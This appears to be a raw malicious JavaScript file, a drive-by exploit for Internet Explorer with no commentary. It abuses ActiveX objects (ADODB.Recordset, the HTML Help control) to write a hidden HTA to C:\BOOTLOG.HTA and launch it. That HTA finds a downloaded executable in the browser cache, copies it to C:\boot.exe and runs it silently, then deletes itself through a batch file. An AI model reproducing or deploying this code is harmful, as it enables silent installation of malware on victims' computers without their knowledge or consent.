document.write('<Htm><HEAD><SCRIPT language=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);<\/SCRIPT></HEAD></htm>');try{BOSSYU=new ActiveXObject("ADODB.Recordset");BOSSYU.Fields.Append("a",200,3000);BOSSYU.Open();BOSSYU.AddNew();BOSSYU.Fields("a").Value="<hTm><BODY onLoad=\"window.moveTo(4000,4000);\"><HEAD><SCRIPT language=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD>\r\n<HTA:APPLICATION ID=kk3714 CAPTION=\"no\" BORDER=\"none\" HEIGHT=\"0\" SHOWINTASKBAR=\"no\" WIDTH=\"0\">\r\n<BODY scroll=\"no\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<SCRIPT LANGUAGE=\"JavaScript\">\r\nfunction thanks(b){\r\ntry{var c=new Enumerator(YUri.GetFolder(b).SubFolders);for (;!c.atEnd();c.moveNext()){var zI01=c.item().Path+\"\\\\xiao[1].exe\";var z1=c.item().Path+\"\\\\xiao[2].exe\";\r\nvar f=\"C:\\\\boot.exe\";if(YUri.FileExists(zI01)){YUri.CopyFile(zI01,f)\r\nw00sh.Run(f,0,false);v=1;break;}if(YUri.FileExists(z1)){YUri.CopyFile(z1,f);w00sh.Run(f,0,false);v=1;break;}thanks(c.item());}}catch(e){}}\r\nfunction agree(){\r\npath=\"c:\\\\boot.bat\";\r\nv=kk3714.commandLine;\r\nv=v.substring(1,v.length-2);\r\nvar _w=YUri.CreateTextFile(path);\r\n_w.Write(\'@eCho oFf\\r\\n:a\\r\\nDEL \"\'+v+\'\"\\r\\nif exIst \"\'+v+\'\" GoTo a\\r\\nDEl 0\');\r\n_w.close();\r\nw00sh.Run(path,0,false);\r\nwindow.close();\r\n}\r\nvar v=0;\r\ntry{\r\nvar YUri=new ActiveXObject(\"Scripting.FileSystemObject\");\r\nvar w00sh=new ActiveXObject(\"WScript.Shell\");\r\nvar cache=w00sh.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Cache\");\r\n}catch(e){}\r\nfunction fish(){try{if(v==0){thanks(cache+'\\\\..\\\\');setTimeout(\"fish()\",4000);}else{agree();}}catch(e){}}\r\nfish();</SCRIPT></BODY></HTM>";BOSSYU.Update();}catch(e){}try{BOSSYU.Save("c:\\BOOTLOG.HTA",0);}catch(e){}document.write('<object id="bbs1" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="shortcut"><param name=item1 value=",C:\\BOOTLOG.HTA"></object><OBJECT id="bbs2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="Close"><param name=kav" value="out"><\/oBjEct><ScRipt>c=1;bbs1.Click();c=1;c=c+5;bbs2.Click();c=c+1;<\/script>');